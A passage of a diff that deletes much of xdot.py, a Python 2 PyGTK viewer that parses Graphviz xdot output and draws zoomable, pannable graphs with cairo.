square_distance(x, y, *self.points[-1]) <= self.RADIUS*self.RADIUS: - return Jump(self, self.src.x, self.src.y, highlight=set([self, self.src])) - return None - - -class Graph(Shape): - - def __init__(self, width=1, height=1, shapes=(), nodes=(), edges=()): - Shape.__init__(self) - - self.width = width - self.height = height - self.shapes = shapes - self.nodes = nodes - self.edges = edges - - def get_size(self): - return self.width, self.height - - def draw(self, cr, highlight_items=None): - if highlight_items is None: - highlight_items = () - cr.set_source_rgba(0.0, 0.0, 0.0, 1.0) - - cr.set_line_cap(cairo.LINE_CAP_BUTT) - cr.set_line_join(cairo.LINE_JOIN_MITER) - - for shape in self.shapes: - shape.draw(cr) - for edge in self.edges: - edge.draw(cr, highlight=(edge in highlight_items)) - for node in self.nodes: - node.draw(cr, highlight=(node in highlight_items)) - - def get_url(self, x, y): - for node in self.nodes: - url = node.get_url(x, y) - if url is not None: - return url - return None - - def get_jump(self, x, y): - for edge in self.edges: - jump = edge.get_jump(x, y) - if jump is not None: - return jump - for node in self.nodes: - jump = node.get_jump(x, y) - if jump is not None: - return jump - return None - - -class XDotAttrParser: - """Parser for xdot drawing attributes. - See also: - - http://www.graphviz.org/doc/info/output.html#d:xdot - """ - - def __init__(self, parser, buf): - self.parser = parser - self.buf = self.unescape(buf) - self.pos = 0 - - self.pen = Pen() - self.shapes = [] - - def __nonzero__(self): - return self.pos < len(self.buf) - - def unescape(self, buf): - buf = buf.replace('\\"', '"') - buf = buf.replace('\\n', '\n') - return buf - - def read_code(self): - pos = self.buf.find(" ", self.pos) - res = self.buf[self.pos:pos] - self.pos = pos + 1 - while self.pos < len(self.buf) and self.buf[self.pos].isspace(): - self.pos += 1 - return res - - def read_number(self): - return int(self.read_code()) - - def read_float(self): - return float(self.read_code()) - - def read_point(self): - x = self.read_number() - y = self.read_number() - return self.transform(x, y) - - def read_text(self): - num = self.read_number() - pos = self.buf.find("-", self.pos) + 1 - self.pos = pos + num - res = self.buf[pos:self.pos] - while self.pos < len(self.buf) and self.buf[self.pos].isspace(): - self.pos += 1 - return res - - def read_polygon(self): - n = self.read_number() - p = [] - for i in range(n): - x, y = self.read_point() - p.append((x, y)) - return p - - def read_color(self): - # See http://www.graphviz.org/doc/info/attrs.html#k:color - c = self.read_text() - c1 = c[:1] - if c1 == '#': - hex2float = lambda h: float(int(h, 16)/255.0) - r = hex2float(c[1:3]) - g = hex2float(c[3:5]) - b = hex2float(c[5:7]) - try: - a = hex2float(c[7:9]) - except (IndexError, ValueError): - a = 1.0 - return r, g, b, a - elif c1.isdigit() or c1 == ".": - # "H,S,V" or "H S V" or "H, S, V" or any other variation - h, s, v = map(float, c.replace(",", " ").split()) - r, g, b = colorsys.hsv_to_rgb(h, s, v) - a = 1.0 - return r, g, b, a - else: - return self.lookup_color(c) - - def lookup_color(self, c): - try: - color = gtk.gdk.color_parse(c) - except ValueError: - pass - else: - s = 1.0/65535.0 - r = color.red*s - g = color.green*s - b = color.blue*s - a = 1.0 - return r, g, b, a - - try: - dummy, scheme, index = c.split('/') - r, g, b = brewer_colors[scheme][int(index)] - except (ValueError, KeyError): - pass - else: - s = 1.0/255.0 - r = r*s - g = g*s - b = b*s - a = 1.0 - return r, g, b, a - - sys.stderr.write("unknown color '%s'\n" % c) - return None - - def parse(self): - s = self - - while s: - op = s.read_code() - if op == "c": - color = s.read_color() - if color is not None: - self.handle_color(color, filled=False) - elif op == "C": - color = s.read_color() - if color is not None: - self.handle_color(color, filled=True) - elif op == "S": - # http://www.graphviz.org/doc/info/attrs.html#k:style - style = s.read_text() - if style.startswith("setlinewidth("): - lw = style.split("(")[1].split(")")[0] - lw = float(lw) - self.handle_linewidth(lw) - elif style in ("solid", "dashed"): - self.handle_linestyle(style) - elif op == "F": - size = s.read_float() - name = s.read_text() - self.handle_font(size, name) - elif op == "T": - x, y = s.read_point() - j = s.read_number() - w = s.read_number() - t = s.read_text() - self.handle_text(x, y, j, w, t) - elif op == "E": - x0, y0 = s.read_point() - w = s.read_number() - h = s.read_number() - self.handle_ellipse(x0, y0, w, h, filled=True) - elif op == "e": - x0, y0 = s.read_point() - w = s.read_number() - h = s.read_number() - self.handle_ellipse(x0, y0, w, h, filled=False) - elif op == "L": - points = self.read_polygon() - self.handle_line(points) - elif op == "B": - points = self.read_polygon() - self.handle_bezier(points, filled=False) - elif op == "b": - points = self.read_polygon() - self.handle_bezier(points, filled=True) - elif op == "P": - points = self.read_polygon() - self.handle_polygon(points, filled=True) - elif op == "p": - points = self.read_polygon() - self.handle_polygon(points, filled=False) - else: - sys.stderr.write("unknown xdot opcode '%s'\n" % op) - break - - return self.shapes - - def transform(self, x, y): - return self.parser.transform(x, y) - - def handle_color(self, color, filled=False): - if filled: - self.pen.fillcolor = color - else: - self.pen.color = color - - def handle_linewidth(self, linewidth): - self.pen.linewidth = linewidth - - def handle_linestyle(self, style): - if style == "solid": - self.pen.dash = () - elif style == "dashed": - self.pen.dash = (6, ) # 6pt on, 6pt off - - def handle_font(self, size, name): - self.pen.fontsize = size - self.pen.fontname = name - - def handle_text(self, x, y, j, w, t): - self.shapes.append(TextShape(self.pen, x, y, j, w, t)) - - def handle_ellipse(self, x0, y0, w, h, filled=False): - if filled: - # xdot uses this to mean "draw a filled shape with an outline" - self.shapes.append(EllipseShape(self.pen, x0, y0, w, h, filled=True)) - self.shapes.append(EllipseShape(self.pen, x0, y0, w, h)) - - def handle_line(self, points): - self.shapes.append(LineShape(self.pen, points)) - - def handle_bezier(self, points, filled=False): - if filled: - # xdot uses this to mean "draw a filled shape with an outline" - self.shapes.append(BezierShape(self.pen, points, filled=True)) - self.shapes.append(BezierShape(self.pen, points)) - - def handle_polygon(self, points, filled=False): - if filled: - # xdot uses this to mean "draw a filled shape with an outline" - self.shapes.append(PolygonShape(self.pen, points, filled=True)) - self.shapes.append(PolygonShape(self.pen, points)) - - -EOF = -1 -SKIP = -2 - - -class ParseError(Exception): - - def __init__(self, msg=None, filename=None, line=None, col=None): - self.msg = msg - self.filename = filename - self.line = line - self.col = col - - def __str__(self): - return ':'.join([str(part) for part in (self.filename, self.line, self.col, self.msg) if part != None]) - - -class Scanner: - """Stateless scanner.""" - - # should be overriden by derived classes - tokens = [] - symbols = {} - literals = {} - ignorecase = False - - def __init__(self): - flags = re.DOTALL - if self.ignorecase: - flags |= re.IGNORECASE - self.tokens_re = re.compile( - '|'.join(['(' + regexp + ')' for type, regexp, test_lit in self.tokens]), - flags - ) - - def next(self, buf, pos): - if pos >= len(buf): - return EOF, '', pos - mo = self.tokens_re.match(buf, pos) - if mo: - text = mo.group() - type, regexp, test_lit = self.tokens[mo.lastindex - 1] - pos = mo.end() - if test_lit: - type = self.literals.get(text, type) - return type, text, pos - else: - c = buf[pos] - return self.symbols.get(c, None), c, pos + 1 - - -class Token: - - def __init__(self, type, text, line, col): - self.type = type - self.text = text - self.line = line - self.col = col - - -class Lexer: - - # should be overriden by derived classes - scanner = None - tabsize = 8 - - newline_re = re.compile(r'\r\n?|\n') - - def __init__(self, buf = None, pos = 0, filename = None, fp = None): - if fp is not None: - try: - fileno = fp.fileno() - length = os.path.getsize(fp.name) - import mmap - except: - # read whole file into memory - buf = fp.read() - pos = 0 - else: - # map the whole file into memory - if length: - # length must not be zero - buf = mmap.mmap(fileno, length, access = mmap.ACCESS_READ) - pos = os.lseek(fileno, 0, 1) - else: - buf = '' - pos = 0 - - if filename is None: - try: - filename = fp.name - except AttributeError: - filename = None - - self.buf = buf - self.pos = pos - self.line = 1 - self.col = 1 - self.filename = filename - - def next(self): - while True: - # save state - pos = self.pos - line = self.line - col = self.col - - type, text, endpos = self.scanner.next(self.buf, pos) - assert pos + len(text) == endpos - self.consume(text) - type, text = self.filter(type, text) - self.pos = endpos - - if type == SKIP: - continue - elif type is None: - msg = 'unexpected char ' - if text >= ' ' and text <= '~': - msg += "'%s'" % text - else: - msg += "0x%X" % ord(text) - raise ParseError(msg, self.filename, line, col) - else: - break - return Token(type = type, text = text, line = line, col = col) - - def consume(self, text): - # update line number - pos = 0 - for mo in self.newline_re.finditer(text, pos): - self.line += 1 - self.col = 1 - pos = mo.end() - - # update column number - while True: - tabpos = text.find('\t', pos) - if tabpos == -1: - break - self.col += tabpos - pos - self.col = ((self.col - 1)//self.tabsize + 1)*self.tabsize + 1 - pos = tabpos + 1 - self.col += len(text) - pos - - -class Parser: - - def __init__(self, lexer): - self.lexer = lexer - self.lookahead = self.lexer.next() - - def match(self, type): - if self.lookahead.type != type: - raise ParseError( - msg = 'unexpected token %r' % self.lookahead.text, - filename = self.lexer.filename, - line = self.lookahead.line, - col = self.lookahead.col) - - def skip(self, type): - while self.lookahead.type != type: - self.consume() - - def consume(self): - token = self.lookahead - self.lookahead = self.lexer.next() - return token - - -ID = 0 -STR_ID = 1 -HTML_ID = 2 -EDGE_OP = 3 - -LSQUARE = 4 -RSQUARE = 5 -LCURLY = 6 -RCURLY = 7 -COMMA = 8 -COLON = 9 -SEMI = 10 -EQUAL = 11 -PLUS = 12 - -STRICT = 13 -GRAPH = 14 -DIGRAPH = 15 -NODE = 16 -EDGE = 17 -SUBGRAPH = 18 - - -class DotScanner(Scanner): - - # token regular expression table - tokens = [ - # whitespace and comments - (SKIP, - r'[ \t\f\r\n\v]+|' - r'//[^\r\n]*|' - r'/\*.*?\*/|' - r'#[^\r\n]*', - False), - - # Alphanumeric IDs - (ID, r'[a-zA-Z_\x80-\xff][a-zA-Z0-9_\x80-\xff]*', True), - - # Numeric IDs - (ID, r'-?(?:\.[0-9]+|[0-9]+(?:\.[0-9]*)?)', False), - - # String IDs - (STR_ID, r'"[^"\\]*(?:\\.[^"\\]*)*"', False), - - # HTML IDs - (HTML_ID, r'<[^<>]*(?:<[^<>]*>[^<>]*)*>', False), - - # Edge operators - (EDGE_OP, r'-[>-]', False), - ] - - # symbol table - symbols = { - '[': LSQUARE, - ']': RSQUARE, - '{': LCURLY, - '}': RCURLY, - ',': COMMA, - ':': COLON, - ';': SEMI, - '=': EQUAL, - '+': PLUS, - } - - # literal table - literals = { - 'strict': STRICT, - 'graph': GRAPH, - 'digraph': DIGRAPH, - 'node': NODE, - 'edge': EDGE, - 'subgraph': SUBGRAPH, - } - - ignorecase = True - - -class DotLexer(Lexer): - - scanner = DotScanner() - - def filter(self, type, text): - # TODO: handle charset - if type == STR_ID: - text = text[1:-1] - - # line continuations - text = text.replace('\\\r\n', '') - text = text.replace('\\\r', '') - text = text.replace('\\\n', '') - - text = text.replace('\\r', '\r') - text = text.replace('\\n', '\n') - text = text.replace('\\t', '\t') - text = text.replace('\\', '') - - type = ID - - elif type == HTML_ID: - text = text[1:-1] - type = ID - - return type, text - - -class DotParser(Parser): - - def __init__(self, lexer): - Parser.__init__(self, lexer) - self.graph_attrs = {} - self.node_attrs = {} - self.edge_attrs = {} - - def parse(self): - self.parse_graph() - self.match(EOF) - - def parse_graph(self): - if self.lookahead.type == STRICT: - self.consume() - self.skip(LCURLY) - self.consume() - while self.lookahead.type != RCURLY: - self.parse_stmt() - self.consume() - - def parse_subgraph(self): - id = None - if self.lookahead.type == SUBGRAPH: - self.consume() - if self.lookahead.type == ID: - id = self.lookahead.text - self.consume() - if self.lookahead.type == LCURLY: - self.consume() - while self.lookahead.type != RCURLY: - self.parse_stmt() - self.consume() - return id - - def parse_stmt(self): - if self.lookahead.type == GRAPH: - self.consume() - attrs = self.parse_attrs() - self.graph_attrs.update(attrs) - self.handle_graph(attrs) - elif self.lookahead.type == NODE: - self.consume() - self.node_attrs.update(self.parse_attrs()) - elif self.lookahead.type == EDGE: - self.consume() - self.edge_attrs.update(self.parse_attrs()) - elif self.lookahead.type in (SUBGRAPH, LCURLY): - self.parse_subgraph() - else: - id = self.parse_node_id() - if self.lookahead.type == EDGE_OP: - self.consume() - node_ids = [id, self.parse_node_id()] - while self.lookahead.type == EDGE_OP: - node_ids.append(self.parse_node_id()) - attrs = self.parse_attrs() - for i in range(0, len(node_ids) - 1): - self.handle_edge(node_ids[i], node_ids[i + 1], attrs) - elif self.lookahead.type == EQUAL: - self.consume() - self.parse_id() - else: - attrs = self.parse_attrs() - self.handle_node(id, attrs) - if self.lookahead.type == SEMI: - self.consume() - - def parse_attrs(self): - attrs = {} - while self.lookahead.type == LSQUARE: - self.consume() - while self.lookahead.type != RSQUARE: - name, value = self.parse_attr() - attrs[name] = value - if self.lookahead.type == COMMA: - self.consume() - self.consume() - return attrs - - def parse_attr(self): - name = self.parse_id() - if self.lookahead.type == EQUAL: - self.consume() - value = self.parse_id() - else: - value = 'true' - return name, value - - def parse_node_id(self): - node_id = self.parse_id() - if self.lookahead.type == COLON: - self.consume() - port = self.parse_id() - if self.lookahead.type == COLON: - self.consume() - compass_pt = self.parse_id() - else: - compass_pt = None - else: - port = None - compass_pt = None - # XXX: we don't really care about port and compass point values when parsing xdot - return node_id - - def parse_id(self): - self.match(ID) - id = self.lookahead.text - self.consume() - return id - - def handle_graph(self, attrs): - pass - - def handle_node(self, id, attrs): - pass - - def handle_edge(self, src_id, dst_id, attrs): - pass - - -class XDotParser(DotParser): - - def __init__(self, xdotcode): - lexer = DotLexer(buf = xdotcode) - DotParser.__init__(self, lexer) - - self.nodes = [] - self.edges = [] - self.shapes = [] - self.node_by_name = {} - self.top_graph = True - - def handle_graph(self, attrs): - if self.top_graph: - try: - bb = attrs['bb'] - except KeyError: - return - - if not bb: - return - - xmin, ymin, xmax, ymax = map(float, bb.split(",")) - - self.xoffset = -xmin - self.yoffset = -ymax - self.xscale = 1.0 - self.yscale = -1.0 - # FIXME: scale from points to pixels - - self.width = xmax - xmin - self.height = ymax - ymin - - self.top_graph = False - - for attr in ("_draw_", "_ldraw_", "_hdraw_", "_tdraw_", "_hldraw_", "_tldraw_"): - if attr in attrs: - parser = XDotAttrParser(self, attrs[attr]) - self.shapes.extend(parser.parse()) - - def handle_node(self, id, attrs): - try: - pos = attrs['pos'] - except KeyError: - return - - x, y = self.parse_node_pos(pos) - w = float(attrs['width'])*72 - h = float(attrs['height'])*72 - shapes = [] - for attr in ("_draw_", "_ldraw_"): - if attr in attrs: - parser = XDotAttrParser(self, attrs[attr]) - shapes.extend(parser.parse()) - url = attrs.get('URL', None) - node = Node(x, y, w, h, shapes, url) - self.node_by_name[id] = node - if shapes: - self.nodes.append(node) - - def handle_edge(self, src_id, dst_id, attrs): - try: - pos = attrs['pos'] - except KeyError: - return - - points = self.parse_edge_pos(pos) - shapes = [] - for attr in ("_draw_", "_ldraw_", "_hdraw_", "_tdraw_", "_hldraw_", "_tldraw_"): - if attr in attrs: - parser = XDotAttrParser(self, attrs[attr]) - shapes.extend(parser.parse()) - if shapes: - src = self.node_by_name[src_id] - dst = self.node_by_name[dst_id] - self.edges.append(Edge(src, dst, points, shapes)) - - def parse(self): - DotParser.parse(self) - - return Graph(self.width, self.height, self.shapes, self.nodes, self.edges) - - def parse_node_pos(self, pos): - x, y = pos.split(",") - return self.transform(float(x), float(y)) - - def parse_edge_pos(self, pos): - points = [] - for entry in pos.split(' '): - fields = entry.split(',') - try: - x, y = fields - except ValueError: - # TODO: handle start/end points - continue - else: - points.append(self.transform(float(x), float(y))) - return points - - def transform(self, x, y): - # XXX: this is not the right place for this code - x = (x + self.xoffset)*self.xscale - y = (y + self.yoffset)*self.yscale - return x, y - - -class Animation(object): - - step = 0.03 # seconds - - def __init__(self, dot_widget): - self.dot_widget = dot_widget - self.timeout_id = None - - def start(self): - self.timeout_id = gobject.timeout_add(int(self.step * 1000), self.tick) - - def stop(self): - self.dot_widget.animation = NoAnimation(self.dot_widget) - if self.timeout_id is not None: - gobject.source_remove(self.timeout_id) - self.timeout_id = None - - def tick(self): - self.stop() - - -class NoAnimation(Animation): - - def start(self): - pass - - def stop(self): - pass - - -class LinearAnimation(Animation): - - duration = 0.6 - - def start(self): - self.started = time.time() - Animation.start(self) - - def tick(self): - t = (time.time() - self.started) / self.duration - self.animate(max(0, min(t, 1))) - return (t < 1) - - def animate(self, t): - pass - - -class MoveToAnimation(LinearAnimation): - - def __init__(self, dot_widget, target_x, target_y): - Animation.__init__(self, dot_widget) - self.source_x = dot_widget.x - self.source_y = dot_widget.y - self.target_x = target_x - self.target_y = target_y - - def animate(self, t): - sx, sy = self.source_x, self.source_y - tx, ty = self.target_x, self.target_y - self.dot_widget.x = tx * t + sx * (1-t) - self.dot_widget.y = ty * t + sy * (1-t) - self.dot_widget.queue_draw() - - -class ZoomToAnimation(MoveToAnimation): - - def __init__(self, dot_widget, target_x, target_y): - MoveToAnimation.__init__(self, dot_widget, target_x, target_y) - self.source_zoom = dot_widget.zoom_ratio - self.target_zoom = self.source_zoom - self.extra_zoom = 0 - - middle_zoom = 0.5 * (self.source_zoom + self.target_zoom) - - distance = math.hypot(self.source_x - self.target_x, - self.source_y - self.target_y) - rect = self.dot_widget.get_allocation() - visible = min(rect.width, rect.height) / self.dot_widget.zoom_ratio - visible *= 0.9 - if distance > 0: - desired_middle_zoom = visible / distance - self.extra_zoom = min(0, 4 * (desired_middle_zoom - middle_zoom)) - - def animate(self, t): - a, b, c = self.source_zoom, self.extra_zoom, self.target_zoom - self.dot_widget.zoom_ratio = c*t + b*t*(1-t) + a*(1-t) - self.dot_widget.zoom_to_fit_on_resize = False - MoveToAnimation.animate(self, t) - - -class DragAction(object): - - def __init__(self, dot_widget): - self.dot_widget = dot_widget - - def on_button_press(self, event): - self.startmousex = self.prevmousex = event.x - self.startmousey = self.prevmousey = event.y - self.start() - - def on_motion_notify(self, event): - if event.is_hint: - x, y, state = event.window.get_pointer() - else: - x, y, state = event.x, event.y, event.state - deltax = self.prevmousex - x - deltay = self.prevmousey - y - self.drag(deltax, deltay) - self.prevmousex = x - self.prevmousey = y - - def on_button_release(self, event): - self.stopmousex = event.x - self.stopmousey = event.y - self.stop() - - def draw(self, cr): - pass - - def start(self): - pass - - def drag(self, deltax, deltay): - pass - - def stop(self): - pass - - def abort(self): - pass - - -class NullAction(DragAction): - - def on_motion_notify(self, event): - if event.is_hint: - x, y, state = event.window.get_pointer() - else: - x, y, state = event.x, event.y, event.state - dot_widget = self.dot_widget - item = dot_widget.get_url(x, y) - if item is None: - item = dot_widget.get_jump(x, y) - if item is not None: - dot_widget.window.set_cursor(gtk.gdk.Cursor(gtk.gdk.HAND2)) - dot_widget.set_highlight(item.highlight) - else: - dot_widget.window.set_cursor(gtk.gdk.Cursor(gtk.gdk.ARROW)) - dot_widget.set_highlight(None) - - -class PanAction(DragAction): - - def start(self): - self.dot_widget.window.set_cursor(gtk.gdk.Cursor(gtk.gdk.FLEUR)) - - def drag(self, deltax, deltay): - self.dot_widget.x += deltax / self.dot_widget.zoom_ratio - self.dot_widget.y += deltay / self.dot_widget.zoom_ratio - self.dot_widget.queue_draw() - - def stop(self): - self.dot_widget.window.set_cursor(gtk.gdk.Cursor(gtk.gdk.ARROW)) - - abort = stop - - -class ZoomAction(DragAction): - - def drag(self, deltax, deltay): - self.dot_widget.zoom_ratio *= 1.005 ** (deltax + deltay) - self.dot_widget.zoom_to_fit_on_resize = False - self.dot_widget.queue_draw() - - def stop(self): - self.dot_widget.queue_draw() - - -class ZoomAreaAction(DragAction): - - def drag(self, deltax, deltay): - self.dot_widget.queue_draw() - - def draw(self, cr): - cr.save() - cr.set_source_rgba(.5, .5, 1.0, 0.25) - cr.rectangle(self.startmousex, self.startmousey, - self.prevmousex - self.startmousex, - self.prevmousey - self.startmousey) - cr.fill() - cr.set_source_rgba(.5, .5, 1.0, 1.0) - cr.set_line_width(1) - cr.rectangle(self.startmousex - .5, self.startmousey - .5, - self.prevmousex - self.startmousex + 1, - self.prevmousey - self.startmousey + 1) - cr.stroke() - cr.restore() - - def stop(self): - x1, y1 = self.dot_widget.window2graph(self.startmousex, - self.startmousey) - x2, y2 = self.dot_widget.window2graph(self.stopmousex, - self.stopmousey) - self.dot_widget.zoom_to_area(x1, y1, x2, y2) - - def abort(self): - self.dot_widget.queue_draw() - - -class DotWidget(gtk.DrawingArea): - """PyGTK widget that draws dot graphs.""" - - __gsignals__ = { - 'expose-event': 'override', - 'clicked' : (gobject.SIGNAL_RUN_LAST, gobject.TYPE_NONE, (gobject.TYPE_STRING, gtk.gdk.Event)) - } - - filter = 'dot' - - def __init__(self): - gtk.DrawingArea.__init__(self) - - self.graph = Graph() - self.openfilename = None - - self.set_flags(gtk.CAN_FOCUS) - - self.add_events(gtk.gdk.BUTTON_PRESS_MASK | gtk.gdk.BUTTON_RELEASE_MASK) - self.connect("button-press-event", self.on_area_button_press) - self.connect("button-release-event", self.on_area_button_release) - self.add_events(gtk.gdk.POINTER_MOTION_MASK | gtk.gdk.POINTER_MOTION_HINT_MASK | gtk.gdk.BUTTON_RELEASE_MASK) - self.connect("motion-notify-event", self.on_area_motion_notify) - self.connect("scroll-event", self.on_area_scroll_event) - self.connect("size-allocate", self.on_area_size_allocate) - - self.connect('key-press-event', self.on_key_press_event) - - self.x, self.y = 0.0, 0.0 - self.zoom_ratio = 1.0 - self.zoom_to_fit_on_resize = False - self.animation = NoAnimation(self) - self.drag_action = NullAction(self) - self.presstime = None - self.highlight = None - - def set_filter(self, filter): - self.filter = filter - - def set_dotcode(self, dotcode, filename=''): - if isinstance(dotcode, unicode): - dotcode = dotcode.encode('utf8') - p = subprocess.Popen( - [self.filter, '-Txdot'], - stdin=subprocess.PIPE, - stdout=subprocess.PIPE, - stderr=subprocess.PIPE, - shell=False, - universal_newlines=True - ) - xdotcode, error = p.communicate(dotcode) - if p.returncode != 0: - dialog = gtk.MessageDialog(type=gtk.MESSAGE_ERROR, - message_format=error, - buttons=gtk.BUTTONS_OK) - dialog.set_title('Dot Viewer') - dialog.run() - dialog.destroy() - return False - try: - self.set_xdotcode(xdotcode) - except ParseError, ex: - dialog = gtk.MessageDialog(type=gtk.MESSAGE_ERROR, - message_format=str(ex), - buttons=gtk.BUTTONS_OK) - dialog.set_title('Dot Viewer') - dialog.run() - dialog.destroy() - return False - else: - self.openfilename = filename - return True - - def set_xdotcode(self, xdotcode): - #print xdotcode - parser = XDotParser(xdotcode) - self.graph = parser.parse() - self.zoom_image(self.zoom_ratio, center=True) - - def reload(self): - if self.openfilename is not None: - try: - fp = file(self.openfilename, 'rt') - self.set_dotcode(fp.read(), self.openfilename) - fp.close() - except IOError: - pass - - def do_expose_event(self, event): - cr = self.window.cairo_create() - - # set a clip region for the expose event - cr.rectangle( - event.area.x, event.area.y, - event.area.width, event.area.height - ) - cr.clip() - - cr.set_source_rgba(1.0, 1.0, 1.0, 1.0) - cr.paint() - - cr.save() - rect = self.get_allocation() - cr.translate(0.5*rect.width, 0.5*rect.height) - cr.scale(self.zoom_ratio, self.zoom_ratio) - cr.translate(-self.x, -self.y) - - self.graph.draw(cr, highlight_items=self.highlight) - cr.restore() - - self.drag_action.draw(cr) - - return False - - def get_current_pos(self): - return self.x, self.y - - def set_current_pos(self, x, y): - self.x = x - self.y = y - self.queue_draw() - - def set_highlight(self, items): - if self.highlight != items: - self.highlight = items - self.queue_draw() - - def zoom_image(self, zoom_ratio, center=False, pos=None): - if center: - self.x = self.graph.width/2 - self.y = self.graph.height/2 - elif pos is not None: - rect = self.get_allocation() - x, y = pos - x -= 0.5*rect.width - y -= 0.5*rect.height - self.x += x / self.zoom_ratio - x / zoom_ratio - self.y += y / self.zoom_ratio - y / zoom_ratio - self.zoom_ratio = zoom_ratio - self.zoom_to_fit_on_resize = False - self.queue_draw() - - def zoom_to_area(self, x1, y1, x2, y2): - rect = self.get_allocation() - width = abs(x1 - x2) - height = abs(y1 - y2) - self.zoom_ratio = min( - float(rect.width)/float(width), - float(rect.height)/float(height) - ) - self.zoom_to_fit_on_resize = False - self.x = (x1 + x2) / 2 - self.y = (y1 + y2) / 2 - self.queue_draw() - - def zoom_to_fit(self): - rect = self.get_allocation() - rect.x += self.ZOOM_TO_FIT_MARGIN - rect.y += self.ZOOM_TO_FIT_MARGIN - rect.width -= 2 * self.ZOOM_TO_FIT_MARGIN - rect.height -= 2 * self.ZOOM_TO_FIT_MARGIN - zoom_ratio = min( - float(rect.width)/float(self.graph.width), - float(rect.height)/float(self.graph.height) - ) - self.zoom_image(zoom_ratio, center=True) - self.zoom_to_fit_on_resize = True - - ZOOM_INCREMENT = 1.25 - ZOOM_TO_FIT_MARGIN = 12 - - def on_zoom_in(self, action): - self.zoom_image(self.zoom_ratio * self.ZOOM_INCREMENT) - - def on_zoom_out(self, action): - self.zoom_image(self.zoom_ratio / self.ZOOM_INCREMENT) - - def on_zoom_fit(self, action): - self.zoom_to_fit() - - def on_zoom_100(self, action): - self.zoom_image(1.0) - - POS_INCREMENT = 100 - - def on_key_press_event(self, widget, event): - if event.keyval == gtk.keysyms.Left: - self.x -= self.POS_INCREMENT/self.zoom_ratio - self.queue_draw() - return True - if event.keyval == gtk.keysyms.Right: - self.x += self.POS_INCREMENT/self.zoom_ratio - self.queue_draw() - return True - if event.keyval == gtk.keysyms.Up: - self.y -= self.POS_INCREMENT/self.zoom_ratio - self.queue_draw() - return True - if event.keyval == gtk.keysyms.Down: - self.y += self.POS_INCREMENT/self.zoom_ratio - self.queue_draw() - return True - if event.keyval == gtk.keysyms.Page_Up: - self.zoom_image(self.zoom_ratio * self.ZOOM_INCREMENT) - self.queue_draw() - return True - if event.keyval == gtk.keysyms.Page_Down: - self.zoom_image(self.zoom_ratio / self.ZOOM_INCREMENT) - self.queue_draw() - return True - if event.keyval == gtk.keysyms.Escape: - self.drag_action.abort() - self.drag_action = NullAction(self) - return True - if event.keyval == gtk.keysyms.r: - self.reload() - return True - if event.keyval == gtk.keysyms.q: - gtk.main_quit() - return True - return False - - def get_drag_action(self, event): - state = event.state - if event.button in (1, 2): # left or middle button - if state & gtk.gdk.CONTROL_MASK: - return ZoomAction - elif state & gtk.gdk.SHIFT_MASK: - return ZoomAreaAction - else: - return PanAction - return NullAction - - def on_area_button_press(self, area, event): - self.animation.stop() - self.drag_action.abort() - action_type = self.get_drag_action(event) - self.drag_action = action_type(self) - self.drag_action.on_button_press(event) - self.presstime = time.time() - self.pressx = event.x - self.pressy = event.y - return False - - def is_click(self, event, click_fuzz=4, click_timeout=1.0): - assert event.type == gtk.gdk.BUTTON_RELEASE - if self.presstime is None: - # got a button release without seeing the press? - return False - # XXX instead of doing this complicated logic, shouldn't we listen - # for gtk's clicked event instead? - deltax = self.pressx - event.x - deltay = self.pressy - event.y - return (time.time() < self.presstime + click_timeout - and math.hypot(deltax, deltay) < click_fuzz) - - def on_area_button_release(self, area, event): - self.drag_action.on_button_release(event) - self.drag_action = NullAction(self) - if event.button == 1 and self.is_click(event): - x, y = int(event.x), int(event.y) - url = self.get_url(x, y) - if url is not None: - self.emit('clicked', unicode(url.url), event) - else: - jump = self.get_jump(x, y) - if jump is not None: - self.animate_to(jump.x, jump.y) - - return True - if event.button == 1 or event.button == 2: - return True - return False - - def on_area_scroll_event(self, area, event): - if event.direction == gtk.gdk.SCROLL_UP: - self.zoom_image(self.zoom_ratio * self.ZOOM_INCREMENT, - pos=(event.x, event.y)) - return True - if event.direction == gtk.gdk.SCROLL_DOWN: - self.zoom_image(self.zoom_ratio / self.ZOOM_INCREMENT, - pos=(event.x, event.y)) - return True - return False - - def on_area_motion_notify(self, area, event): - self.drag_action.on_motion_notify(event) - return True - - def on_area_size_allocate(self, area, allocation): - if self.zoom_to_fit_on_resize: - self.zoom_to_fit() - - def animate_to(self, x, y): - self.animation = ZoomToAnimation(self, x, y) - self.animation.start() - - def window2graph(self, x, y): - rect = self.get_allocation() - x -= 0.5*rect.width - y -= 0.5*rect.height - x /= self.zoom_ratio - y /= self.zoom_ratio - x += self.x - y += self.y - return x, y - - def get_url(self, x, y): - x, y = self.window2graph(x, y) - return self.graph.get_url(x, y) - - def get_jump(self, x, y): - x, y = self.window2graph(x, y) - return self.graph.get_jump(x, y) - - -class DotWindow(gtk.Window): - - ui = ''' - - - - - - - - - - - - ''' - - def __init__(self): - gtk.Window.__init__(self) - - self.graph = Graph() - - window = self - - window.set_title('Dot Viewer') - window.set_default_size(512, 512) - vbox = gtk.VBox() - window.add(vbox) - - self.widget = DotWidget() - - # Create a UIManager instance - uimanager = self.uimanager = gtk.UIManager() - - # Add the accelerator group to the toplevel window - accelgroup = uimanager.get_accel_group() - window.add_accel_group(accelgroup) - - # Create an ActionGroup - actiongroup = gtk.ActionGroup('Actions') - self.actiongroup = actiongroup - - # Create actions - actiongroup.add_actions(( - ('Open', gtk.STOCK_OPEN, None, None, None, self.on_open), - ('Reload', gtk.STOCK_REFRESH, None, None, None, self.on_reload), - ('ZoomIn', gtk.STOCK_ZOOM_IN, None, None, None, self.widget.on_zoom_in), - ('ZoomOut', gtk.STOCK_ZOOM_OUT, None, None, None, self.widget.on_zoom_out), - ('ZoomFit', gtk.STOCK_ZOOM_FIT, None, None, None, self.widget.on_zoom_fit), - ('Zoom100', gtk.STOCK_ZOOM_100, None, None, None, self.widget.on_zoom_100), - )) - - # Add the actiongroup to the uimanager - uimanager.insert_action_group(actiongroup, 0) - - # Add a UI descrption - uimanager.add_ui_from_string(self.ui) - - # Create a Toolbar - toolbar = uimanager.get_widget('/ToolBar') - vbox.pack_start(toolbar, False) - - vbox.pack_start(self.widget) - - self.set_focus(self.widget) - - self.show_all() - - def update(self, filename): - import os - if not hasattr(self, "last_mtime"): - self.last_mtime = None - - current_mtime = os.stat(filename).st_mtime - if current_mtime != self.last_mtime: - self.last_mtime = current_mtime - self.open_file(filename) - - return True - - def set_filter(self, filter): - self.widget.set_filter(filter) - - def set_dotcode(self, dotcode, filename=''): - if self.widget.set_dotcode(dotcode, filename): - self.set_title(os.path.basename(filename) + ' - Dot Viewer') - self.widget.zoom_to_fit() - - def set_xdotcode(self, xdotcode, filename=''): - if 